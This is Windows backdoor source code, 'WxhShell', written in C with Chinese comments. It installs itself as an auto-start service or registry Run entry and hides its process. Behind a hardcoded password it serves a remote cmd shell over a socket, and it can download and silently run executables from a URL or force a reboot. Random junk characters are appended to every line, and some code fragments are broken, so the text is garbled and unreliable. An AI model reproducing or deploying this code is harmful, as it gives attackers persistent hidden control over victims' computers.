    if(Boot(SHUTDOWN)) S{p}ux[}=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .dq "k  
    else { N<JHjq  
    closesocket(wsh); vz`@x45K  
    ExitThread(0); 59B&2861  
    } tkuc/Z/@  
    break; Xt,X_o2m|]  
    } )u@c3?$6  
  // 获取shell MonS hIz  
  case 's': { u/AT-e r;  
    CmdShell(wsh); |V`S >m%N  
    closesocket(wsh); Sl~x$9`  
    ExitThread(0); X QbNH~  
    break; L2-^! '  
  } mog9jw  
  // 退出 b>cafu  
  case 'x': { /N^~U&7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5)+F(  
    CloseIt(wsh); 0H=9@  
    break; 'I/h(  
    } -!*p*3|03|  
  // 离开 cfoYnM  
  case 'q': { OM9 6`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h8^i\j  
    closesocket(wsh); d,'!.#e  
    WSACleanup(); ]1fZupM^6  
    exit(1); "D> ]ES%5  
    break; ValS8V*N1  
        } aIvBY78o  
  } )teFS %  
  } %my  
T!( 4QRh[  
  // 提示信息 ER|!KtCSM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aqQ o,5U>  
} /jrY%C  
  } JmWR{du  
gOE_ ]  
  return; gM_:l  
} {HZS:AV0  
o+)A'S  
// shell模块句柄 /)1v9<vM"  
int CmdShell(SOCKET sock) 6 S*zzJ.0K  
{ zW'/2W.  
STARTUPINFO si; 4DML  
ZeroMemory(&si,sizeof(si)); z Bf;fi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^eTZn[qH>w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kMe@+ysL  
PROCESS_INFORMATION ProcessInfo; QTh0 SL  
char cmdline[]="cmd"; ;?im(9h"v!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -h\@RC  
  return 0; 'yT`ef  
} :{CFTc5:A  
'\4fU%  
// 自身启动模式 \JU ~k5j  
int StartFromService(void) h=f6~5l5  
{ _O 52ai><b  
typedef struct oMTY)`me  
{ Ve:&'~F2 s  
  DWORD ExitStatus; 7t4v~'h;5e  
  DWORD PebBaseAddress; w~v<v&  
  DWORD AffinityMask; <;KRj85"j  
  DWORD BasePriority; u[`v&e  
  ULONG UniqueProcessId; i wz` x  
  ULONG InheritedFromUniqueProcessId;  M]0^ind  
}   PROCESS_BASIC_INFORMATION; nL;K|W  
XqFu(Lm8=  
PROCNTQSIP NtQueryInformationProcess; Rrz'(KSDw  
U+!UL5k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U2&HSE|2J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5`UJouHi  
FH -p!4+]  
  HANDLE             hProcess; ,^+#M{Z  
  PROCESS_BASIC_INFORMATION pbi; 1nXqi)&?;  
x(yX0 ,P/7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); | M _%QM.  
  if(NULL == hInst ) return 0; B}k'@;G  
{3 SdX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `Of[{.Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .q0AoM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3#<'[TF00t  
._K$0U!  
  if (!NtQueryInformationProcess) return 0; (l;C%O7*  
X o_] v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (JvQ-H  
  if(!hProcess) return 0; %d-`71|lG^  
d.b?! kn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L+(C5L93}  
As p8qHS  
  CloseHandle(hProcess); hC|KH}aCR)  
k{qLkcOg=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~ \-r  
if(hProcess==NULL) return 0; Kd TE{].d  
J,`_,T  
HMODULE hMod; j`+0.Zlq  
char procName[255]; :MdEr//w  
unsigned long cbNeeded; zdT->%  
Y"s )u7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XzN-slu!  
xf[z EEt  
  CloseHandle(hProcess); 6HB]T)n  
bA0uGLc  
if(strstr(procName,"services")) return 1; // 以服务启动 VEr 6uvB  
kkHTbn=!  
  return 0; // 注册表启动 3[iSF5%V*p  
} \&# p1K(H  
Qlf 9]ug)  
// 主模块 A &;EV#]ge  
int StartWxhshell(LPSTR lpCmdLine) mC% %)F'Zf  
{ T&mbXMN  
  SOCKET wsl; e%'z=%(  
BOOL val=TRUE; vx PDC~3;  
  int port=0; #?A]v>I;C  
  struct sockaddr_in door; X!2.IsIS8  
%e(9-M4*  
  if(wscfg.ws_autoins) Install(); .wM:YX'[G  
%f>X-*}NI-  
port=atoi(lpCmdLine); v hR twi  
LAizx^F  
if(port<=0) port=wscfg.ws_port; L,yA<yrC  
A8#.1uEgNb  
  WSADATA data; Zm`'MsgFr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8x!+tw7  
g&|4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0>I]=M]@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QQ5lW  
  door.sin_family = AF_INET; &NlS  =  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rsd2v9  
  door.sin_port = htons(port); M-}j9,oR`  
7W6eiUI'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DxE^#=7iH;  
closesocket(wsl); 4!NfQk>X  
return 1; T_(qN;_  
} 2]?w~qjWm  
HGU?bJ~6o  
  if(listen(wsl,2) == INVALID_SOCKET) { =}B4I  
closesocket(wsl); Usa{J:  
return 1; g5lmUKlQ$0  
} <K=@-4/Bp  
  Wxhshell(wsl); DBqg_v  
  WSACleanup(); Xtu:  
"3U{h]  
return 0; L?Kz P.(t+  
'd|Q4RE+W  
} Sb@{f<3E  
m_{%tU;N  
// 以NT服务方式启动 ZXF AuF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I$3"|7[n  
{ c9Y2eetO  
DWORD   status = 0; zhVa.r A  
  DWORD   specificError = 0xfffffff; &CB.*\0  
hqhu^.}]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n"^/UQ|#j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CT$& zEIm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aB$y+`f)@  
  serviceStatus.dwWin32ExitCode     = 0; oTplxF1  
  serviceStatus.dwServiceSpecificExitCode = 0; ~8KF<2c   
  serviceStatus.dwCheckPoint       = 0; fPh}l  
  serviceStatus.dwWaitHint       = 0; F20wf1^  
vF*^xhh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iylBK!ou  
  if (hServiceStatusHandle==0) return; kT Z?+hx  
@2GhN&=  
status = GetLastError(); NB!'u) lFD  
  if (status!=NO_ERROR) |.Y@^z;P3  
{ I,CAFq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~$?y1Yv  
    serviceStatus.dwCheckPoint       = 0; % K9; qJ5  
    serviceStatus.dwWaitHint       = 0; \-$b o=s.  
    serviceStatus.dwWin32ExitCode     = status; EPE!V>  
    serviceStatus.dwServiceSpecificExitCode = specificError; E3FW*UNg[y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L|C1C cP  
    return; gL[1wM%?  
  } RTPq8S"  
Ef,7zKG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q 2_N90u  
  serviceStatus.dwCheckPoint       = 0; &viwo}ls0  
  serviceStatus.dwWaitHint       = 0; %v`-uAy:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uv~qK:Nw(  
} A}t&-  
.b_0k<M!p  
// 处理NT服务事件,比如:启动、停止 g~ppPAH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n!l./>N  
{ i&}zcGC  
switch(fdwControl) +qh< Fj>  
{ p,[XT`q^  
case SERVICE_CONTROL_STOP: @^y?Bh9jQ  
  serviceStatus.dwWin32ExitCode = 0; 5 CY_Ay\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zDvP7hl  
  serviceStatus.dwCheckPoint   = 0; M<#)D  
  serviceStatus.dwWaitHint     = 0; <y\ Z#z  
  { Y?&DEKFbD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &0th1-OP_  
  } 4mM2C`I  
  return; P- `~]]  
case SERVICE_CONTROL_PAUSE: R$T[%AGZ.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YP$*;l  
  break; ; $ ?jR c  
case SERVICE_CONTROL_CONTINUE: oM18aR&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #iR yjD  
  break; iX>!ju'V  
case SERVICE_CONTROL_INTERROGATE: UpszCY4  
  break; UgD'Bi  
}; z[KN^2YS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +GYI2  
} Ddm76LS  
8~[C'+r  
// 标准应用程序主函数 <*r<+S   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ip7FD9 ^  
{ z[|PsC3i:  
C#**)  
// 获取操作系统版本 g+KzlS[6  
OsIsNt=GetOsVer(); \@}$Wjsl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u7Y'3x,`  
e`Zg7CaDd  
  // 从命令行安装 Y)4Nydq  
  if(strpbrk(lpCmdLine,"iI")) Install(); "$V8y  
mBpsgm:g^  
  // 下载执行文件 xv#j 593  
if(wscfg.ws_downexe) { "$E!_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y?vm%t`K  
  WinExec(wscfg.ws_filenam,SW_HIDE); Fzld0p9=  
} ]tdo&  
<v7KE*#  
if(!OsIsNt) { ]}l+ !NV<  
// 如果时win9x,隐藏进程并且设置为注册表启动 4QKE{0NE  
HideProc(); [P&,}o)+E0  
StartWxhshell(lpCmdLine); ~4~Tcn  
} \'LCC-  
else t0V_ c'm  
  if(StartFromService()) |b-Zy~6  
  // 以服务方式启动 pv m'pu78  
  StartServiceCtrlDispatcher(DispatchTable); aWsKJo>j[#  
else X+gz+V/  
  // 普通方式启动  4Jk}/_  
  StartWxhshell(lpCmdLine); +/>YH-P=  
7 6i rb!-  
return 0; W$t}3Ru  
} 6:EH5IO  
u<y\iZ[   
b%!`fn-;  
Tx!m6B`Y  
=========================================== _6-/S!7Y\  
s-N?Tzi  
'y M:W cN  
Tvx8l m '  
9c;lTl^4;  
qQ DFg`  
" '5,,XhP  
WJSHLy<a  
#include <stdio.h> 9MzkG87J  
#include <string.h> ] xLb )Z  
#include <windows.h> v3JIUdU=P  
#include <winsock2.h> 'TN{8~Gt*  
#include <winsvc.h> MqBATW.pmJ  
#include <urlmon.h> 0^lL,rC   
A-wxf91+:  
#pragma comment (lib, "Ws2_32.lib") 8m[L]6F(-z  
#pragma comment (lib, "urlmon.lib") s=~7m.m  
MJ"Mn^:/  
#define MAX_USER   100 // 最大客户端连接数 "A1yqK  
#define BUF_SOCK   200 // sock buffer U}wq~fD  
#define KEY_BUFF   255 // 输入 buffer %^%-h}1  
l`%} {3r9  
#define REBOOT     0   // 重启 gcCYXPZp  
#define SHUTDOWN   1   // 关机 x[>_I1TJ  
k`~br249  
#define DEF_PORT   5000 // 监听端口 \\G6c4 fC  
0(g MR  
#define REG_LEN     16   // 注册表键长度 ;Kq?*H  
#define SVC_LEN     80   // NT服务名长度 DPxu3,Y  
BG8)bh k;/  
// 从dll定义API 0o=)&%G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z%9^6kdY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RHAr[$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jp]geV54  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h8-tbHgpb  
bfI -!,  
// wxhshell配置信息 wXZY5-h4  
struct WSCFG { i8 ):0  
  int ws_port;         // 监听端口 \fR:+rbQ&|  
  char ws_passstr[REG_LEN]; // 口令 &q}@[ )V4  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0S7Isk2W  
  char ws_regname[REG_LEN]; // 注册表键名 +,^M{^%  
  char ws_svcname[REG_LEN]; // 服务名 r= | |sZs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6Vzc:8o>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nkj'AH"2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 842+KLS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2b,TkG8K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @Be:+01z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1V3J:W#;  
>`|uc  
}; ?HyioLO  
e CUcE(  
// default Wxhshell configuration ZWW8Hr  
struct WSCFG wscfg={DEF_PORT, $K5s)!  
    "xuhuanlingzhe", &&S4x  
    1, +<WT$ddK=5  
    "Wxhshell", KR(ftG'  
    "Wxhshell", ~wg^>!E  
            "WxhShell Service", Q4 :r$ &  
    "Wrsky Windows CmdShell Service", 0a%ui2k  
    "Please Input Your Password: ", D"f(nVEr  
  1, *AQbXw]w  
  "http://www.wrsky.com/wxhshell.exe", gpvj'Ri7V  
  "Wxhshell.exe" {-`OE  
    }; `gs,JJ6N  
0_pwY=P  
// 消息定义模块 !jq6cND  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6i9I 4*'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [ =2In;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G&3<rT3Ib  
char *msg_ws_ext="\n\rExit."; B "zg85 e  
char *msg_ws_end="\n\rQuit."; b}*bgx@<  
char *msg_ws_boot="\n\rReboot..."; ,VsCRp  
char *msg_ws_poff="\n\rShutdown..."; 1AV1W_"  
char *msg_ws_down="\n\rSave to "; 8J1.(Mwb?  
5g2+Ar(  
char *msg_ws_err="\n\rErr!"; 1H 6Wrik  
char *msg_ws_ok="\n\rOK!"; kDa#yN\  
j5^b~F%  
char ExeFile[MAX_PATH]; F|Ihq^q  
int nUser = 0; HZ=yfJs nc  
HANDLE handles[MAX_USER]; Q^w]Nj(e_  
int OsIsNt; pdiZ"pe  
"Oko|3  
SERVICE_STATUS       serviceStatus; 2U{RA' s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =V 7w CW  
CWYJ<27v{  
// 函数声明 .WE0T|qDX  
int Install(void); i}"JCqo2  
int Uninstall(void); 3*JybMo"  
int DownloadFile(char *sURL, SOCKET wsh); n7uD(cL  
int Boot(int flag); l'\b(3JF  
void HideProc(void); tb\pjLB][  
int GetOsVer(void); hI{Yg$H1  
int Wxhshell(SOCKET wsl); )ixE  
void TalkWithClient(void *cs); O_Q,!&*6  
int CmdShell(SOCKET sock); iUBni&B  
int StartFromService(void); }TvAjLIS6  
int StartWxhshell(LPSTR lpCmdLine); h!~yYNQ"  
Ft !~w#&-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9 <m j@bI$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %TgM-F,8  
oP 0j>i,"&  
// 数据结构和表定义 0O4mA&&!oK  
SERVICE_TABLE_ENTRY DispatchTable[] = `BD`pa7.%  
{ \0*LfVr;P  
{wscfg.ws_svcname, NTServiceMain}, a $:N9&P  
{NULL, NULL} c'R|Wyf  
}; ^%JWc 3jZ  
a$8?0` (  
// 自我安装 b] V=wZ o  
int Install(void) _*I6O$/>  
{ 1Tr=*b %f  
  char svExeFile[MAX_PATH]; %b6wo?%*  
  HKEY key; 8:NHPHxB  
  strcpy(svExeFile,ExeFile); .R5z>:A  
j(JI$  
// 如果是win9x系统,修改注册表设为自启动 E}2[P b)e  
if(!OsIsNt) { S~Q";C[&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9~I WGj?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _P1-d`b0 a  
  RegCloseKey(key); j"s(?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2Wtfx" .y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DlI|~  
  RegCloseKey(key); ~O$]y5  
  return 0; kw'D2692  
    } B,T.bgp\  
  } `^vD4qD|  
} :Ej)A fS  
else { EMbsKG  
C:{'0m*jKs  
// 如果是NT以上系统,安装为系统服务 K%Bi8d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XZGyhX7  
if (schSCManager!=0) BW 7[JD  
{ S:s^si2/  
  SC_HANDLE schService = CreateService pE N`&'4  
  ( jN0v<_PJED  
  schSCManager, w2L)f,X  
  wscfg.ws_svcname, "o^zOU  
  wscfg.ws_svcdisp, H l@rS  
  SERVICE_ALL_ACCESS, 6:pN?|=6X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9qA_5x%"%u  
  SERVICE_AUTO_START, 3RUB2c4  
  SERVICE_ERROR_NORMAL, qFk(UazN  
  svExeFile, ]\lw^.%  
  NULL, ZxW V ,s&p  
  NULL, iy9]Y5b   
  NULL, /([aD~.  
  NULL, ,<7f5qg "'  
  NULL f9$q.a*  
  ); t {}1 f  
  if (schService!=0) N}= - +E|  
  { { L5m`-x  
  CloseServiceHandle(schService); ~-/AKaK}  
  CloseServiceHandle(schSCManager); m/AN*` V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T9A5L"-6T  
  strcat(svExeFile,wscfg.ws_svcname); 8J0tya"z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f WXzK<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -=w.tJD  
  RegCloseKey(key); ->(B: Cz  
  return 0; _G|6xlO  
    } Lsdu:+-  
  } SEmD's  
  CloseServiceHandle(schSCManager); ; o\wSHc  
} =Sq7U^(>  
} \q>,c49a{  
sBwgl9  
return 1; ` g~-5Z~J  
} RZZB?vx  
P}jr 8Z  
// 自我卸载 |Th{*IJ <,  
int Uninstall(void) Tp7?:YY|  
{ p=zm_+=  
  HKEY key; s5HbuyR^  
:lAR;[WFS  
if(!OsIsNt) { .+<K-'&=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?m6E@.{  
  RegDeleteValue(key,wscfg.ws_regname); `t -3(>P  
  RegCloseKey(key); kAoai|m@R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sAb|]Q((  
  RegDeleteValue(key,wscfg.ws_regname); -]e@cevy  
  RegCloseKey(key); 3]i1M%'i  
  return 0; O_ c K 4  
  } fOJyY[  
} IYWD_}_ $  
} ]:;gk&P  
else { R~i<*  
<+a\'Xc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e/6oC~#]  
if (schSCManager!=0) 3-05y!vbcE  
{ +vP1DXtj(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w%ForDB>P  
  if (schService!=0) D+V^nCcx%  
  { 8Y9mB #X  
  if(DeleteService(schService)!=0) { V;!D:N8<  
  CloseServiceHandle(schService); ^6`U0|5mRX  
  CloseServiceHandle(schSCManager); l},%g%}iMU  
  return 0; p82qFzq#  
  } i=ba=-"Mt  
  CloseServiceHandle(schService); ]O[f#lG  
  } sYz:(hZS  
  CloseServiceHandle(schSCManager); i< ih :  
} 8P .! q  
} U;(&!Ei  
G`pI{_-e  
return 1; EQ28pAZ  
} bke 1 F '  
iG ;6e~p  
// 从指定url下载文件 x~W&a*WNT  
int DownloadFile(char *sURL, SOCKET wsh) ()r DM@  
{ | 8AH_Fk  
  HRESULT hr; AA66^/t  
char seps[]= "/"; p7*\]HyE)  
char *token; &"BKue~q@p  
char *file; z|9 ^T@)  
char myURL[MAX_PATH]; "Xm'(c(  
char myFILE[MAX_PATH]; ,=mn*  
aU3&=aN+  
strcpy(myURL,sURL); Bpgl U=Qr  
  token=strtok(myURL,seps); qG;WX n  
  while(token!=NULL) eaI&DP  
  { d; M&X!Y  
    file=token; sB6UlX;b:  
  token=strtok(NULL,seps); S^_na]M"4  
  } I=1tf;Bsi  
AOTI&v  
GetCurrentDirectory(MAX_PATH,myFILE); Ei#"r\q j_  
strcat(myFILE, "\\"); 8Hhe&B  
strcat(myFILE, file); e0D;]  
  send(wsh,myFILE,strlen(myFILE),0); p\(%bO   
send(wsh,"...",3,0); QKVZ![Y!s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M4QMD;Ez  
  if(hr==S_OK) n_aKciF  
return 0; !u^(<.xJ   
else X \h]N  
return 1; p5*i d5  
?znSA >  
} AVi|JY)>  
cD{[rI E3  
// 系统电源模块 r6^DD$X  
int Boot(int flag) 0c]Lm?&  
{ w}'E]y2.  
  HANDLE hToken; nI 6`/  
  TOKEN_PRIVILEGES tkp; ^,?]]=mE  
[P[syi#]t  
  if(OsIsNt) { +%FG ti$[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lVqvS/_k$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sl)_HA7G  
    tkp.PrivilegeCount = 1; X }^,g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  @]A4{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {&/q\UQ  
if(flag==REBOOT) { 4b4nFRnH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D3I;5m`_  
  return 0; c=ZX7U  
} 'j}%ec1  
else { 39u!j|VH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \ Xuu|]  
  return 0; w7O(I"  
} ;X\!*Loe  
  } ed& ,  
  else { 0|d%@  
if(flag==REBOOT) { qgu.c`GmW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B=9|g1e  
  return 0; pO"V9[p]  
} KSLyU1W  
else { vK|d P3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }4+S_b  
  return 0; wJ+"JQY.J+  
} lqu1H&  
} f4uK_{  
 37{mhU  
return 1; _pW\F(+8  
} G:f]z;Xdp  
w(s"r p}  
// win9x进程隐藏模块 qdOaibH_  
void HideProc(void) P E.^!j  
{ 1C:lXx$|  
#Jg )HU9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A`IE8@&Z'  
  if ( hKernel != NULL ) !30BZM^  
  { 1[dza5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =`g+3 O;<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n;4` IK|  
    FreeLibrary(hKernel); 2T iUo(MK  
  } z$;z&X$j  
~g)gXPjke  
return; 'kPShZS$b  
} ?/NxZ\  
w,D(zk$   
// 获取操作系统版本 @TsOc0?-  
int GetOsVer(void) NO"=\Zn6  
{ sJ!AI n<  
  OSVERSIONINFO winfo; ->:G+<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "<NQ2Vr]5  
  GetVersionEx(&winfo); YG<?|AS/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $5|/X&"O)/  
  return 1; TDA+ rl  
  else d:Wh0y}  
  return 0; umK~K!i  
} p-r}zc9@  
PWx2<t<;9  
// 客户端句柄模块 <Sb W QbN  
int Wxhshell(SOCKET wsl) z`5d,M  
{ }JoCk{<31  
  SOCKET wsh; (+(YO\ng6  
  struct sockaddr_in client; h@t&n@8O?  
  DWORD myID; I[G<aI!  
8E ^yHd4Y  
  while(nUser<MAX_USER) #:e52=  
{ O8r9&Nv  
  int nSize=sizeof(client); *EvnN:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PJsiT4<  
  if(wsh==INVALID_SOCKET) return 1; bwS1YGb  
Zw` Xg@;xP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sJ{NbN~`I  
if(handles[nUser]==0) FhHcS>]:.  
  closesocket(wsh); &AG,]#  
else O-@*xwD  
  nUser++; ,?P@ :S<8  
  } rB~x]5TH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,GA2K .:#  
hqmKUlo  
  return 0; wWQv]c%  
} mvyqCOp 0  
.'saUcVg:  
// 关闭 socket CD;C z*c  
void CloseIt(SOCKET wsh) _ko16wfg  
{ ri<E[8\  
closesocket(wsh); 8A~5@  
nUser--; GNlP]9wX  
ExitThread(0); q["CT&0  
} ~q 0)+'  
lU`]yL  
// 客户端请求句柄 M}kt q)  
void TalkWithClient(void *cs) mzLDZ# =b  
{ s_}T -%\  
W2e~!:w  
  SOCKET wsh=(SOCKET)cs; WLma)L`L  
  char pwd[SVC_LEN]; Xt %;]1n  
  char cmd[KEY_BUFF]; ~pWbD~aeg  
char chr[1]; eZ#nZB  
int i,j; *4"s,1?@BG  
t."hAvRL  
  while (nUser < MAX_USER) { l8/ tR  
j'Z}; 3y  
if(wscfg.ws_passstr) { /B73|KB+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ![YLY&}s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {p&L wTnf  
  //ZeroMemory(pwd,KEY_BUFF); |r[yMI|VR  
      i=0; cLj@+?/  
  while(i<SVC_LEN) { 484lB}H  
-`x$a&}  
  // 设置超时 `OO=^.-u  
  fd_set FdRead; ?&W1lYY  
  struct timeval TimeOut; &rj3UF@hb  
  FD_ZERO(&FdRead); `!rH0]vy  
  FD_SET(wsh,&FdRead); (F@.o1No%  
  TimeOut.tv_sec=8; uKHkC.g  
  TimeOut.tv_usec=0; =LEKFXqM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 28J ; 9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OoL#8R  
%y ;E1pva  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H-$)@  
  pwd=chr[0]; a=}JW]  
  if(chr[0]==0xd || chr[0]==0xa) { 3#o!K  
  pwd=0; jsL\{I^>  
  break; HL-zuZa`Ju  
  } ,&[2z!  
  i++; d:jD  
    }  yG -1g0  
eq +t%  
  // 如果是非法用户,关闭 socket 1~/?W^ir  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {a -bew  
} lIPy)25~  
D.elE:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `vs= CYs  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Blv!%es  
Z |wM  
while(1) { +rse,b&U(  
+NL^/y<;  
  ZeroMemory(cmd,KEY_BUFF); HPJ\]HV(  
RSEo'2  
      // 自动支持客户端 telnet标准   Pl(+&k`}  
  j=0; @*Sge LeL  
  while(j<KEY_BUFF) { *c'nPa$+|S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pMZKF=  
  cmd[j]=chr[0]; vpR^G`/  
  if(chr[0]==0xa || chr[0]==0xd) { ^3B)i=  
  cmd[j]=0; F ^& Rg  
  break; cm^:3(yYX  
  } v"'Co6fw  
  j++; Bc%A aZ0x  
    } I L dRN  
i oCoFj  
  // 下载文件 Fl{:aq"3  
  if(strstr(cmd,"http://")) { P2J{ Ml#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Cw`8[)=}o  
  if(DownloadFile(cmd,wsh)) ~P&Brn"=Rs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c32IO&W4  
  else  z.fh4p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eeI aH >  
  } p<>x qU  
  else { s|iph~W!L  
!]c]:ed\C  
    switch(cmd[0]) { 6{h+(|.(  
  kO3{2$S6  
